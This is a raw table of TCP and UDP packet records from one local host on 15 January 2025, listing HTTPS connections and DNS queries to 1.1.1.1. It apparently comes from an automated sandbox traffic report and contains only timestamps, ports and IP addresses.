Jan 15, 2025 13:08:21.312031984 CET	49791	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.312112093 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.312165022 CET	49791	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.312659979 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.312730074 CET	49791	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.312741041 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.312800884 CET	49791	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.396821022 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.396877050 CET	49791	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.396970034 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.397026062 CET	49791	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.397095919 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.397149086 CET	49791	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.397231102 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.397279978 CET	49791	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.397382021 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.397433996 CET	49791	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.397509098 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.397557974 CET	49791	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.397708893 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.397770882 CET	49791	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.397836924 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.397891998 CET	49791	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.397969007 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.398019075 CET	49791	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.398093939 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.398145914 CET	49791	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.398224115 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.398272038 CET	49791	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.398277044 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.398314953 CET	49791	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.398351908 CET	49791	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.413563967 CET	49793	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.413598061 CET	443	49793	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.413697004 CET	49793	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.414063931 CET	49793	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.414083004 CET	443	49793	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.446427107 CET	443	49790	188.114.96.3	192.168.2.4
Jan 15, 2025 13:08:21.446602106 CET	443	49790	188.114.96.3	192.168.2.4
Jan 15, 2025 13:08:21.446716070 CET	49790	443	192.168.2.4	188.114.96.3
Jan 15, 2025 13:08:21.447693110 CET	49790	443	192.168.2.4	188.114.96.3
Jan 15, 2025 13:08:21.447715998 CET	443	49790	188.114.96.3	192.168.2.4
Jan 15, 2025 13:08:21.642007113 CET	49794	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.642021894 CET	443	49794	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.642111063 CET	49794	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.642353058 CET	49794	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.642364025 CET	443	49794	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.903023005 CET	443	49793	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.903305054 CET	49793	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.903320074 CET	443	49793	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.904427052 CET	443	49793	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.904798031 CET	49793	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.904957056 CET	49793	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.904975891 CET	443	49793	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.955280066 CET	49793	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:22.042963982 CET	443	49793	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:22.043152094 CET	443	49793	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:22.043200970 CET	49793	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:22.043956041 CET	49793	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:22.043968916 CET	443	49793	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:22.099148989 CET	443	49794	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:22.099490881 CET	49794	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:22.099508047 CET	443	49794	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:22.100598097 CET	443	49794	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:22.100930929 CET	49794	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:22.101089954 CET	49794	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:22.101094961 CET	443	49794	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:22.101119041 CET	443	49794	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:22.145970106 CET	49794	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:22.237154007 CET	443	49794	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:22.237366915 CET	443	49794	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:22.237428904 CET	49794	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:22.237442970 CET	443	49794	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:22.237530947 CET	443	49794	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:22.237586975 CET	49794	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:22.241960049 CET	49794	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:22.241975069 CET	443	49794	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:22.249061108 CET	49795	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:22.249111891 CET	443	49795	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:22.249191046 CET	49795	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:22.249389887 CET	49795	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:22.249403000 CET	443	49795	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:22.736666918 CET	443	49795	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:22.737078905 CET	49795	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:22.737102985 CET	443	49795	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:22.737564087 CET	443	49795	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:22.737868071 CET	49795	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:22.737950087 CET	443	49795	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:22.737997055 CET	49795	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:22.779366016 CET	443	49795	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:22.785825968 CET	49795	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:22.870173931 CET	443	49795	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:22.870332956 CET	443	49795	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:22.870398998 CET	49795	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:22.870965958 CET	49795	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:22.870982885 CET	443	49795	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:22.875207901 CET	49796	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:22.875305891 CET	443	49796	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:22.875391960 CET	49796	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:22.875705004 CET	49796	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:22.875746012 CET	443	49796	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:23.334180117 CET	443	49796	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:23.337131023 CET	49796	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:23.337152004 CET	443	49796	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:23.337644100 CET	443	49796	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:23.338025093 CET	49796	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:23.338110924 CET	443	49796	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:23.338170052 CET	49796	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:23.379333019 CET	443	49796	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:23.456847906 CET	443	49796	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:23.457010031 CET	443	49796	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:23.457083941 CET	49796	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:23.463157892 CET	49796	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:23.463202000 CET	443	49796	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:23.631118059 CET	49797	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:23.631191969 CET	443	49797	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:23.631278992 CET	49797	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:23.740179062 CET	49797	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:23.740247011 CET	443	49797	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:24.225610018 CET	443	49797	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:24.225940943 CET	49797	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:24.225987911 CET	443	49797	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:24.226454973 CET	443	49797	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:24.226839066 CET	49797	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:24.226928949 CET	443	49797	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:24.226969957 CET	49797	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:24.227077007 CET	49797	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:24.227121115 CET	443	49797	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:24.227276087 CET	49797	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:24.227303028 CET	49797	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:24.227324963 CET	443	49797	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:24.473521948 CET	443	49797	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:24.473665953 CET	443	49797	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:24.473751068 CET	443	49797	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:24.473829985 CET	49797	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:24.473836899 CET	443	49797	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:24.473901033 CET	443	49797	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:24.473973989 CET	49797	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:24.473993063 CET	443	49797	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:24.474056005 CET	49797	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:24.474067926 CET	443	49797	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:24.474150896 CET	443	49797	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:24.474206924 CET	49797	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:24.474219084 CET	443	49797	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:24.478029966 CET	443	49797	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:24.478111029 CET	443	49797	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:24.478128910 CET	49797	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:24.478147030 CET	443	49797	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:24.478218079 CET	49797	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:24.564539909 CET	443	49797	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:24.564774990 CET	443	49797	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:24.564862967 CET	443	49797	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:24.564949989 CET	443	49797	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:24.564970970 CET	49797	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:24.565032959 CET	443	49797	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:24.565135956 CET	443	49797	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:24.565220118 CET	443	49797	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:24.565232038 CET	49797	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:24.565248966 CET	443	49797	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:24.565397978 CET	49797	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:24.565397978 CET	49797	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:24.565418005 CET	443	49797	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:24.565459013 CET	443	49797	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:24.565565109 CET	49797	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:24.565726995 CET	49797	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:24.565747023 CET	443	49797	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:24.579366922 CET	49798	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:24.579427958 CET	443	49798	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:24.579737902 CET	49798	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:24.579803944 CET	49798	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:24.579821110 CET	443	49798	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:25.034996033 CET	443	49798	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:25.035423040 CET	49798	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:25.035458088 CET	443	49798	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:25.035881042 CET	443	49798	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:25.036180973 CET	49798	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:25.036263943 CET	443	49798	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:25.036312103 CET	49798	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:25.079344034 CET	443	49798	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:25.081228971 CET	49798	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:25.174530983 CET	443	49798	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:25.174607992 CET	443	49798	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:25.174995899 CET	49798	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:25.175729036 CET	49798	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:25.175800085 CET	443	49798	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:29.635135889 CET	49799	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:29.635204077 CET	443	49799	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:29.635281086 CET	49799	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:29.635545015 CET	49799	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:29.635571003 CET	443	49799	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:30.103404999 CET	443	49799	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:30.103816032 CET	49799	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:30.103825092 CET	443	49799	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:30.104919910 CET	443	49799	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:30.105382919 CET	49799	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:30.105496883 CET	443	49799	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:30.105592966 CET	49799	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:30.105729103 CET	49799	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:30.105772972 CET	443	49799	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:30.105879068 CET	49799	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:30.105909109 CET	443	49799	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:30.356198072 CET	443	49799	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:30.356484890 CET	443	49799	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:30.356585026 CET	49799	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:30.356600046 CET	443	49799	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:30.356631041 CET	443	49799	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:30.356704950 CET	49799	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:30.356736898 CET	443	49799	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:30.356880903 CET	443	49799	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:30.356950045 CET	49799	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:30.361829042 CET	49799	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:30.361850023 CET	443	49799	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:30.443492889 CET	49800	443	192.168.2.4	188.114.96.3
Jan 15, 2025 13:08:30.443538904 CET	443	49800	188.114.96.3	192.168.2.4
Jan 15, 2025 13:08:30.443633080 CET	49800	443	192.168.2.4	188.114.96.3
Jan 15, 2025 13:08:30.443968058 CET	49800	443	192.168.2.4	188.114.96.3
Jan 15, 2025 13:08:30.443979025 CET	443	49800	188.114.96.3	192.168.2.4
Jan 15, 2025 13:08:30.461461067 CET	49801	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:30.461551905 CET	443	49801	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:30.461663008 CET	49801	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:30.462038994 CET	49801	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:30.462080002 CET	443	49801	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:30.700289011 CET	443	49776	104.21.32.1	192.168.2.4
Jan 15, 2025 13:08:30.700474024 CET	443	49776	104.21.32.1	192.168.2.4
Jan 15, 2025 13:08:30.700556993 CET	49776	443	192.168.2.4	104.21.32.1
Jan 15, 2025 13:08:30.857211113 CET	49776	443	192.168.2.4	104.21.32.1
Jan 15, 2025 13:08:30.857269049 CET	443	49776	104.21.32.1	192.168.2.4
Jan 15, 2025 13:08:30.919106960 CET	443	49800	188.114.96.3	192.168.2.4
Jan 15, 2025 13:08:30.919699907 CET	49800	443	192.168.2.4	188.114.96.3
Jan 15, 2025 13:08:30.919764996 CET	443	49800	188.114.96.3	192.168.2.4
Jan 15, 2025 13:08:30.920939922 CET	443	49800	188.114.96.3	192.168.2.4
Jan 15, 2025 13:08:30.921015978 CET	49800	443	192.168.2.4	188.114.96.3
Jan 15, 2025 13:08:30.922338009 CET	49800	443	192.168.2.4	188.114.96.3
Jan 15, 2025 13:08:30.922403097 CET	443	49800	188.114.96.3	192.168.2.4
Jan 15, 2025 13:08:30.922516108 CET	49800	443	192.168.2.4	188.114.96.3
Jan 15, 2025 13:08:30.922525883 CET	443	49800	188.114.96.3	192.168.2.4
Jan 15, 2025 13:08:30.948407888 CET	443	49801	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:30.948756933 CET	49801	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:30.948798895 CET	443	49801	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:30.949929953 CET	443	49801	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:30.950299025 CET	49801	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:30.950440884 CET	49801	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:30.950494051 CET	443	49801	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:30.975467920 CET	49800	443	192.168.2.4	188.114.96.3
Jan 15, 2025 13:08:30.990902901 CET	49801	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:31.086152077 CET	443	49801	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:31.086340904 CET	443	49801	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:31.086414099 CET	49801	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:31.086630106 CET	49801	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:31.086661100 CET	443	49801	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:31.527612925 CET	443	49800	188.114.96.3	192.168.2.4
Jan 15, 2025 13:08:31.527864933 CET	443	49800	188.114.96.3	192.168.2.4
Jan 15, 2025 13:08:31.527991056 CET	49800	443	192.168.2.4	188.114.96.3
Jan 15, 2025 13:08:31.528928041 CET	49800	443	192.168.2.4	188.114.96.3
Jan 15, 2025 13:08:31.528945923 CET	443	49800	188.114.96.3	192.168.2.4
Jan 15, 2025 13:08:31.583153963 CET	49804	443	192.168.2.4	188.114.96.3
Jan 15, 2025 13:08:31.583182096 CET	443	49804	188.114.96.3	192.168.2.4
Jan 15, 2025 13:08:31.583247900 CET	49804	443	192.168.2.4	188.114.96.3
Jan 15, 2025 13:08:31.583482027 CET	49804	443	192.168.2.4	188.114.96.3
Jan 15, 2025 13:08:31.583503962 CET	443	49804	188.114.96.3	192.168.2.4
Jan 15, 2025 13:08:32.048796892 CET	443	49804	188.114.96.3	192.168.2.4
Jan 15, 2025 13:08:32.049231052 CET	49804	443	192.168.2.4	188.114.96.3
Jan 15, 2025 13:08:32.049266100 CET	443	49804	188.114.96.3	192.168.2.4
Jan 15, 2025 13:08:32.050329924 CET	443	49804	188.114.96.3	192.168.2.4
Jan 15, 2025 13:08:32.050419092 CET	49804	443	192.168.2.4	188.114.96.3
Jan 15, 2025 13:08:32.050925970 CET	49804	443	192.168.2.4	188.114.96.3
Jan 15, 2025 13:08:32.051012993 CET	443	49804	188.114.96.3	192.168.2.4
Jan 15, 2025 13:08:32.051126003 CET	49804	443	192.168.2.4	188.114.96.3
Jan 15, 2025 13:08:32.051135063 CET	443	49804	188.114.96.3	192.168.2.4
Jan 15, 2025 13:08:32.097657919 CET	49804	443	192.168.2.4	188.114.96.3
Jan 15, 2025 13:08:32.623121023 CET	443	49804	188.114.96.3	192.168.2.4
Jan 15, 2025 13:08:32.623245955 CET	443	49804	188.114.96.3	192.168.2.4
Jan 15, 2025 13:08:32.623298883 CET	49804	443	192.168.2.4	188.114.96.3
Jan 15, 2025 13:08:32.623893023 CET	49804	443	192.168.2.4	188.114.96.3
Jan 15, 2025 13:08:32.623908997 CET	443	49804	188.114.96.3	192.168.2.4
Jan 15, 2025 13:08:38.641472101 CET	49741	443	192.168.2.4	188.95.227.90
Jan 15, 2025 13:08:38.641484976 CET	443	49741	188.95.227.90	192.168.2.4
Jan 15, 2025 13:08:46.185060978 CET	49899	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:08:46.189855099 CET	53	49899	1.1.1.1	192.168.2.4
Jan 15, 2025 13:08:46.189930916 CET	49899	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:08:46.189996004 CET	49899	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:08:46.190011024 CET	49899	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:08:46.194756985 CET	53	49899	1.1.1.1	192.168.2.4
Jan 15, 2025 13:08:46.194770098 CET	53	49899	1.1.1.1	192.168.2.4
Jan 15, 2025 13:08:46.661566973 CET	53	49899	1.1.1.1	192.168.2.4
Jan 15, 2025 13:08:46.662159920 CET	49899	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:08:46.667120934 CET	53	49899	1.1.1.1	192.168.2.4
Jan 15, 2025 13:08:46.667181969 CET	49899	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:08:49.425558090 CET	49724	80	192.168.2.4	199.232.214.172
Jan 15, 2025 13:08:49.430900097 CET	80	49724	199.232.214.172	192.168.2.4
Jan 15, 2025 13:08:49.430975914 CET	49724	80	192.168.2.4	199.232.214.172
Jan 15, 2025 13:08:50.708406925 CET	49931	443	192.168.2.4	142.250.186.164
Jan 15, 2025 13:08:50.708446980 CET	443	49931	142.250.186.164	192.168.2.4
Jan 15, 2025 13:08:50.708524942 CET	49931	443	192.168.2.4	142.250.186.164
Jan 15, 2025 13:08:50.708772898 CET	49931	443	192.168.2.4	142.250.186.164
Jan 15, 2025 13:08:50.708786964 CET	443	49931	142.250.186.164	192.168.2.4
Jan 15, 2025 13:08:51.341171026 CET	443	49931	142.250.186.164	192.168.2.4
Jan 15, 2025 13:08:51.341497898 CET	49931	443	192.168.2.4	142.250.186.164
Jan 15, 2025 13:08:51.341516972 CET	443	49931	142.250.186.164	192.168.2.4
Jan 15, 2025 13:08:51.341970921 CET	443	49931	142.250.186.164	192.168.2.4
Jan 15, 2025 13:08:51.342324972 CET	49931	443	192.168.2.4	142.250.186.164
Jan 15, 2025 13:08:51.342397928 CET	443	49931	142.250.186.164	192.168.2.4
Jan 15, 2025 13:08:51.394288063 CET	49931	443	192.168.2.4	142.250.186.164
Jan 15, 2025 13:08:54.761832952 CET	49741	443	192.168.2.4	188.95.227.90
Jan 15, 2025 13:08:54.762109995 CET	443	49741	188.95.227.90	192.168.2.4
Jan 15, 2025 13:08:54.762175083 CET	49741	443	192.168.2.4	188.95.227.90
Jan 15, 2025 13:09:01.244079113 CET	443	49931	142.250.186.164	192.168.2.4
Jan 15, 2025 13:09:01.244257927 CET	443	49931	142.250.186.164	192.168.2.4
Jan 15, 2025 13:09:01.244353056 CET	49931	443	192.168.2.4	142.250.186.164
Jan 15, 2025 13:09:02.754808903 CET	49931	443	192.168.2.4	142.250.186.164
Jan 15, 2025 13:09:02.754861116 CET	443	49931	142.250.186.164	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 15, 2025 13:07:46.436691999 CET	53	64065	1.1.1.1	192.168.2.4
Jan 15, 2025 13:07:46.591111898 CET	53	60050	1.1.1.1	192.168.2.4
Jan 15, 2025 13:07:47.607542992 CET	53	49975	1.1.1.1	192.168.2.4
Jan 15, 2025 13:07:50.646013021 CET	49259	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:07:50.646239996 CET	50118	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:07:50.653043032 CET	53	50118	1.1.1.1	192.168.2.4
Jan 15, 2025 13:07:50.653130054 CET	53	49259	1.1.1.1	192.168.2.4
Jan 15, 2025 13:07:52.026038885 CET	58101	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:07:52.026180029 CET	64500	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:07:52.558334112 CET	53	64500	1.1.1.1	192.168.2.4
Jan 15, 2025 13:07:52.561064005 CET	53	58101	1.1.1.1	192.168.2.4
Jan 15, 2025 13:07:53.798151970 CET	57932	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:07:53.798413992 CET	52750	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:07:53.910247087 CET	53	52750	1.1.1.1	192.168.2.4
Jan 15, 2025 13:07:55.115869045 CET	51104	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:07:55.116003990 CET	63787	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:07:55.143737078 CET	53	63787	1.1.1.1	192.168.2.4
Jan 15, 2025 13:07:55.145319939 CET	53	51104	1.1.1.1	192.168.2.4
Jan 15, 2025 13:07:57.452996016 CET	59139	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:07:57.453063011 CET	53603	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:07:57.453571081 CET	59939	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:07:57.453771114 CET	51180	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:07:57.454091072 CET	52562	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:07:57.454269886 CET	64431	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:07:57.460572958 CET	53	59939	1.1.1.1	192.168.2.4
Jan 15, 2025 13:07:57.461504936 CET	53	51180	1.1.1.1	192.168.2.4
Jan 15, 2025 13:07:57.472543955 CET	53	53603	1.1.1.1	192.168.2.4
Jan 15, 2025 13:07:57.473958969 CET	53	59139	1.1.1.1	192.168.2.4
Jan 15, 2025 13:07:57.493387938 CET	54592	53	192.168.2.4	1.1.1.1
